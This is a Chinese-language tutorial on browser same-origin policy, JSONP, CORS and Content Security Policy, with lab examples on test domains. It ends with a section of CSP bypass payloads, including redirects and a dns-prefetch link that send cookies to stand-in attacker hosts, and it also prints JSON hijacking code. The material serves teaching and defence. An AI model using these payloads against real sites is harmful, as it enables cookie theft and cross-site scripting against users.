同源策略和域安全

同源策略和域安全相关问题

同源策略

同源策略是目前所有浏览器都实行的一种安全政策,A 网页设置的 Cookie,B 网页不能打开,除非这两个网页同源,所谓同源,是指:两个网页,协议(protocol)、端口(port)、和主机(host)都相同,如果非同源,以下三种行为受到限制:

  1. Cookie,LocalStorage,IndexDB 无法读取

    LocalStorage 是 HTML5 本地存储 Web Storage 特性的 API 之一,用于将大量数据(最大 5 M)保存在浏览器中,保存后数据永远存在不会失效过期,除非用 Js 手动清除,它不参与网络传输,一般用于性能优化,可以保存图片、Js、CSS、HTML 模板、大量数据,IndexDB 也是用于储存的东西

  2. DOM 无法获取

    DOM(Document Object Model)译为文档对象模型,是 HTML 和 XML 文档的编程接口,HTML DOM 定义了访问和操作 HTML 文档的标准方法,DOM 以树结构表达 HTML 文档

  3. AJAX 请求不能发送

    AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。 AJAX 不是新的编程语言,而是一种使用现有标准的新方法。 AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容,AJAX 请求只能发给同源的网址

下表给出了与 URLhttp://store.company.com/dir/page.html的源进行对比的示例(同源策略认为域和子域属于不同的域):

URL 结果 原因
http://store.company.com/dir2/other.html 同源 只有路径不同
http://store.company.com/dir/inner/another.html 同源 只有路径不同
https://store.company.com/secure.html 失败 协议不同
http://store.company.com:81/dir/etc.html 失败 端口不同
http://news.company.com/dir/other.html 失败 主机不同

a.comchild.a.com不同源,针对这种情况,可以在两方面设置document.domain = 'a.com'来实现同源(详见:DOM跨域的三种解决方案:document.domain、window.name、window.postMessage

规避同源策略

主要有以下三种方法规避同源策略的限制:JSONP,WebSocket,CORS

  1. JSONP

    JSONP 就是利用<script>标签的跨域能力实现跨域数据的访问,请求动态生成的 Js 脚本同时带一个 Callback 函数名作为参数

    服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用 Callback 函数

    JSONP 也存在一些安全问题,例如当对传入或传回参数没有做校验就直接执行返回的时候,会造成 XSS 问题。没有做 Referer 或 Token 校验就给出数据的时候,可能会造成数据泄露

    另外 JSONP 在没有设置 Callback 函数的白名单情况下,可以合法的做一些设计之外的函数调用,引入问题。这种攻击也被称为 SOME 攻击

  2. WebScoket

    WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前,该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信,WebSocket请求的头信息中有一个字段是Origin,表示该请求的请求源(Origin),即发自哪个域名,正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策,因为服务器可以根据这个字段,判断是否许可本次通信

  3. CORS

    CORS 是跨域资源共享(Cross-Origin Resource Sharing)的缩写,它允许浏览器向跨源服务器,发出XMLHttpRequest(opens new window)请求,从而克服了 AJAX 只能同源(opens new window)使用的限制,它是W3C标准,是跨源 AJAX 请求的根本解决方法。CORS请求大致和Ajax请求类似,但是在 HTTP 头信息中加上了 Origin 字段表明请求来自哪个源,如果Orgin是许可范围之内的话,服务器返回的响应会多出Access-Control-Allow-*的字段

JSONP 详解

JSONP是服务器与客户端跨源通信的常用方法,JSON with Padding,填充式JSON或者说是参数式JSONJSONP原理就是动态插入带有跨域 url<script>标签,然后调用回调函数

JSONP由两部分组成:回调函数和里面的数据。 回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定,向服务器请求JSON数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来

使用 JSONP 的实例:这里创建两个网站(使用 PHPStudy,一个为www.learnjs.com,另一个为www.ctftest.com),现在模拟跨域请求,www.learnjs.com会向www.ctftest.com发起请求,把下面的文件放到www.learnjs.comjsonp目录下

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JSONP</title>
</head>

<body>
<h2>JSONP Here!</h2>
<p id="your-ip"></p>
</body>

<script type="text/javascript" src="jsonp.js"></script>

</html>

jsonp.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'use strict';

function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type", "text/javascript");
script.src = src;
document.body.appendChild(script);
}

window.onload = function() {
addScriptTag('http://ctftest.com/api.php?callback=foo');
}

function foo(data) {
var ip = document.getElementById('your-ip');
ip.innerHTML = "ip:" + data.ip;
};

www.ctftest.com根目录添加api.php

1
2
3
4
5
<?php
$msg = array("ip" => $_SERVER['REMOTE_ADDR']);
$msg = $_GET['callback']."(".json_encode($msg).")";
echo $msg;
?>

此时访问http://learnjs.com/jsonp/就会发现成功进行了跨域的请求,原理如下:

依据jsonp.js,在页面加载时,addScriptTag函数在页面里添加元素<script type="text/javascript" src="http://ctftest.com/api.php?callback=foo"></script>,由于历史原因<script>标签没有跨域限制,于是成功跨域请求,而服务器收到这个请求以后,会将数据放在回调函数的参数位置返回:

1
foo({"ip": "127.0.0.1"});

由于<script>元素请求的脚本,直接作为代码运行,这时,只要浏览器定义了foo函数,该函数就会立即调用,作为参数的JSON数据被视为 JavaScript 对象,而不是字符串,因此避免了使用JSON.parse的步骤,可以参考:JSONP 的工作原理是什么?,JSONP 的缺点也很明显,只能进行 GET 请求

JSONP 的劫持防范

JSON劫持又为JSON Hijacking ,这个问题属于CSRF攻击范畴。 当某网站通过JSONP的方式来跨域(一般为子域)传递用户认证后的敏感信息时攻击者可以构造恶意的JSONP调用页面,诱导被攻击者访问,来达到截取用户敏感信息的目的,一个典型的JSON Hijacking攻击代码(wooyun):

1
2
3
4
5
6
<script>
function wooyun(v) {
alert(v.username);
}
</script>
<script src="http:/xx.cn/?o=sso&m=info&func=wooyun"></script>

当被攻击者在登陆某网站的情况下访问了该网页时,那么用户的隐私数据(如用户名,邮箱等)可能被攻击者劫持,防范方法如下:

  1. 验证JSON文件调用的来源Referer

    <script>远程加载 JSON 文件时会发送 Referer,在网站输出 JSON 数据时判断 Referer 是不是白名单合法的,就可以进行防御

  2. 随机 token

    存在 reference 伪造(qq.com.evil.com)、空 reference、暴力穷举等问题(强大的PHP伪造IP头、Cookies、Reference),最有效的方式还是综合防御(判断 reference 和添加随机字串),或使用加在url中的 token 可以完美解决 但是只要在该网站上出现一个XSS漏洞,那么利用这个XSS漏洞可能让防御体系瞬间崩溃

  3. callback函数可定义的安全问题

    callback 函数的名称可以自定义,而输出环境又是js环境,如果没有严格过滤或审查,可以引起很多其他的攻击方式,比如后台如果使用这类代码:

    1
    2
    $callback = $_GET['callback'];
    print($callback.(data));

    这样子,认为 callback 是可信的,而攻击者完全可以将alert(/xss/)作为 callback 参数传递进去,这种问题有两种解决方案:

    第一种:严格定义Content-Type: application/json,这样的防御机制导致了浏览器不解析恶意插入的XSS代码,第二种:过滤 callback 以及JSON数据输出,这样的防御机制是比较传统的攻防思维,对输出点进行xss过滤

WebSocket 简介

WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀,该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信,为什么不实行同源政策?

原因是WebSocket请求的头信息中有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名,正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策,因为服务器可以根据这个字段,判断是否许可本次通信

CORS 详解

CORS是跨域资源共享(Cross-Origin Resource Sharing)的缩写,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了 AJAX 只能同源使用的限制,它是W3C标准,是跨源 AJAX 请求的根本解决方法

CORS请求大致和ajax请求类似,但是在 HTTP 头信息中加上了 Origin 字段表明请求来自哪个源,如果orgin是许可范围之内的话,服务器返回的响应会多出Access-Control-Allow-*的字段

简单请求

只要同时满足以下两大条件,就属于简单请求:

  1. 请求方法是以下三种方法之一:HEAD、GET、POST
  2. HTTP 的头信息不超出以下几种字段:Accept、Accept-Language、Content-Language、Last-Event-ID、Content-Type(只限于三个值application/x-www-form-urlencodedmultipart/form-datatext/plain

浏览器发现这次跨源 AJAX 请求是简单请求,就自动在头信息之中,添加一个 Origin 字段:

1
2
3
4
5
6
GET /cors HTTP/1.1
Origin: http://api.b.com
Host: api.a.com

// Origin 字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)
// 服务器根据这个值,决定是否同意这次请求

简单请求有三个重要的响应头:

  1. Access-Control-Allow-Origin

    该字段是必须的,它的值要么是请求时 Origin 字段的值,要么是一个*,表示接受任意域名的请求

  2. Access-Control-Allow-Credentials

    该字段可选,它的值是一个布尔值,表示是否允许发送 Cookie,默认情况下,Cookie 不包括在CORS请求之中,设为 true,即表示服务器明确许可,Cookie 可以包含在请求中,一起发给服务器,这个值也只能设为 true,如果服务器不要浏览器发送 Cookie,删除该字段即可

  3. Access-Control-Expose-Headers

    该字段可选,CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到 6 个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定,例如,getResponseHeader('wintrysec')可以返回wintrysec字段的值

响应字段,可请求资源范围

1
Access-Control-Allow-Origin:*  // 表示同意任意跨源请求

CORS 简单请求实例(同样是www.learnjs.comwww.ctftest.comwww.learnjs.com会使用 ajax 向www.ctftest.com发送一个跨域请求)www.learnjs.com目录ajax下的两个文件:

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Learning JavaScript</title>
</head>

<body>
<h2>Welcome to Learning JavaScript! :-)</h2>
<textarea id="test-response-text" rows="5" cols="30">我是一个文本框</textarea>
</body>

<script type="text/javascript" src="ajax.js"></script>

</html>

ajax.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
'use strict';

function success(text) {
var textarea = document.getElementById('test-response-text');
textarea.value = text;
}

function fail(code) {
var textarea = document.getElementById('test-response-text');
textarea.value = 'Error code: ' + code;
}

// 新建 XMLHttpRequest 对象
var request = new XMLHttpRequest();

// 状态发生变化时,函数被回调
request.onreadystatechange = function() {
// 成功完成
if (request.readyState === 4) {
// 判断响应结果
if (request.status === 200) {
// 成功,通过 responseText 拿到响应的文本
return success(request.responseText);
} else {
// 失败,根据响应码判断失败原因
return fail(request.status);
}
} else {
// HTTP 请求还在继续...
}
}

// 2 秒后执行 sendReq()
setTimeout(sendReq, 2000);

// 发送请求
function sendReq() {
request.open('GET', 'http://ctftest.com/api.php');
request.send();
}

www.ctftest.com根目录添加api.php

1
2
3
4
5
<?php
$ACAO = "Access-Control-Allow-Origin: http://learnjs.com";
header($ACAO);
echo "Hello, world!";
?>

访问http://learnjs.com/ajax/就会发现成功地进行了跨域请求,如果更改$ACAO的值,就会请求失败,例如改为Access-Control-Allow-Origin: http://learnjava.com,浏览器就会返回错误:

1
Access to XMLHttpRequest at 'http://ctftest.com/api.php' from origin 'http://learnjs.com' has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a value 'http://learnjava.com' that is not equal to the supplied origin.

非简单请求

即对服务器有特殊要求的请求,比如 PUT 方法,自定义 HTTP-HEAD 头部等,非简单请求的 CORS 请求,会在正式通信之前,增加一次 HTTP 查询请求,称为预检请求,预检请求用 OPTIONS 方法询问服务器允许的方法

预检请求的头信息包括两个特殊字段:

  1. **Access-Control-Request-Method**:该字段是必须的,用来列出浏览器的CORS请求会用到哪些 HTTP 方法
  2. **Access-Control-Request-Headers**:指定浏览器CORS请求会额外发送的http头部信息字段,多个字段用逗号分隔

如果浏览器否定了预检请求,会返回一个正常的 HTTP 回应,但是没有任何CORS相关的头信息字段响应,服务器响应的其他CORS相关字段如下:

1
2
3
4
Access-Control-Allow-Methods: GET, POST, PUT    // 服务器支持的所有跨域请求的方法
Access-Control-Allow-Headers: X-Custom-Header // 服务器支持的所有头信息字段
Access-Control-Allow-Credentials: true // 表示是否允许发送 Cookie
Access-Control-Max-Age: 1728000 // 用来指定本次预检请求的有效期,单位为秒

实例,来自 AJAX

对于 PUT、DELETE 以及其他类型如application/json的 POST 请求,在发送 AJAX 请求之前,浏览器会先发送一个OPTIONS请求(称为 preflighted 请求)到这个 URL 上,询问目标服务器是否接受:

1
2
3
4
OPTIONS /path/to/resource HTTP/1.1
Host: bar.com
Origin: http://my.com
Access-Control-Request-Method: POST

服务器必须响应并明确指出允许的 Method:

1
2
3
4
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://my.com
Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS
Access-Control-Max-Age: 86400

浏览器确认服务器响应的Access-Control-Allow-Methods头确实包含将要发送的 AJAX 请求的 Method,才会继续发送 AJAX,否则,抛出一个错误,由于以POSTPUT方式传送 JSON 格式的数据在 REST 中很常见,所以要跨域正确处理POSTPUT请求,服务器端必须正确响应OPTIONS请求

一旦服务器通过了预检请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段,服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段。Github上的一个 POC:cors-poc

1
python3 -m http.server --cgi

与 JSONP 的比较

CORSJSONP的使用目的相同,但是比JSONP更强大,JSONP只支持 GET 请求,CORS支持所有类型的 HTTP 请求,JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据

CSP 简介

所谓CSP(Content Security Policy)即浏览器内容安全策略, 为了缓解部分跨站脚本问题,CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制,有两种方法启用CSP

  1. 添加 HTTP 头信息;
    Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:

  2. 使用<meta>标签

    <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:">

关于SCP的使用可以参考:内容安全策略 ( CSP )CSP: default-src,关于CSP各种限制选项参考:Content Security Policy (CSP) 是什么?为什么它能抵御 XSS 攻击?,CSP 的出现可以一定程度上的减少 XSS 的攻击,但不一定意味着 XSS 的消失,CSP 的实例:

同样是www.learnjs.comwww.ctftest.comwww.learnjs.comcsp目录下的index.html文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- 这里设置了 Content-Security-Policy -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self';frame-src 'self'">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSP</title>
</head>

<body>
<iframe src="//player.bilibili.com/player.html?aid=70951224&bvid=BV1EE411Z7J2&cid=122934671&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>
</body>

<script>
alert("xss!");
</script>

<script type="text/javascript" src="http://ctftest.com/api.js"></script>

</html>

http://ctftest.com/根目录下的api.js

1
2
3
4
5
'use strict';

window.onload = function() {
alert('xss');
}

可以发现这三个资源(iframe 标签、内联 JavaScript,跨域外联 JavaScript)都没有正常加载,因为:

  1. Content-Security-Policy中设置frame-src 'self'导致非当前域名的 iframe 加载失败(设置为frame-src http://player.bilibili.com/可避免)
  2. 设置script-src 'self',禁止了内联 Js 代码执行(设置为script-src 'unsafe-inline'可避免或者设置nonce
  3. Content-Security-Policy中设置frame-src 'self'导致跨域外联 JavaScript 加载失败(设置为script-src http://ctftest.com/可避免)

关于 nonce 的介绍:一段内联的 JavaScript 代码,有可能就是攻击者注入的,如果设置script-src,是禁止内联 Js 代码执行的,可以将 script-src 设置为 ‘unsafe-inline’ 以允许内联 Js 执行

为了使内联的 Js 更加安全,可以使用 nonce 属性。在 Header 设置一个随机字符串或者散列值,当它与 script 标签的 nonce 属性相匹配时,说明这段内联的 Js 是安全的,是可以执行的,反之就说明这段 Js 是危险的就不会执行,实例如下:

同样是www.learnjs.comwww.ctftest.comwww.learnjs.comcsp目录下的index.html文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- 这里设置了 Content-Security-Policy -->
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-abc' 'self';frame-src 'self'">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSP</title>
</head>

<body>
<iframe src="//player.bilibili.com/player.html?aid=70951224&bvid=BV1EE411Z7J2&cid=122934671&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"> </iframe>
</body>

<!-- 内联的 Js 设置了 nonce 属性 -->
<script nonce="abc">
alert("xss!");
</script>

</html>

访问http://learnjs.com/csp/就可以发现内联的 JavaScript 执行了,如果改变 nonce 使其不一致,Js 就不会执行,浏览器也会报告错误,详见:「网络」CSP和Nonce

CSP 绕过

URL跳转

default-src none(未设置的属性设置为默认值none)的情况下,可以使用 meta 标签实现跳转

1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]">

在允许unsafe-inline(允许内联 Js 执行)的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过

1
2
3
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>

link标签预加载

在 Firefox 下,可以将 Cookie 作为子域名,用dns 预解析的方式把 Cookie 带出去,查看dns服务器的日志就能得到 Cookie

1
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">

利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用 script 标签的 nonce 属性,只有 nonce 一致的脚本才生效

1
2
3
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

// CSP 设置 nonce 为 abc 属性的标签

那么当脚本插入点为如下的情况时

1
2
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

可以插入

1
<script src=//14.rs a="

这样会拼成一个新的 script 标签,其中的src可以自由设定

1
2
<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>

代码重用

假设页面中使用了Jquery-mobile库,并且CSP策略中包含script-src 'unsafe-eval'或者script-src 'strict-dynamic',那么下面的向量就可以绕过CSP

1
<div data-role=popup id='<script>alert(1)</script>'></div>

ifrmae

如果页面 A 中有CSP限制,但是页面 B 中没有,同时 A 和 B 同源,那么就可以在 A 页面中包含 B 页面来绕过CSP

1
<iframe src="B"></iframe>

在 Chrome 下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如http://xxx页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js

1
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

meta标签

meta 标签有一些不常用的功能有时候有奇效:meta 可以控制缓存(在 header 没有设置的情况下),有时候可以用来绕过CSP nonce

1
<meta http-equiv="cache-control" content="public">

meta 可以设置 Cookie(Firefox 下),可以结合 self-xss 利用

1
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

本文参考链接

AJAX同源策略

CSP: default-src

内容安全策略 ( CSP )

「网络」CSP和Nonce

JSONP 的工作原理是什么?

Content Security Policy (CSP) 是什么?为什么它能抵御 XSS 攻击?

DOM跨域的三种解决方案:document.domain、window.name、window.postMessage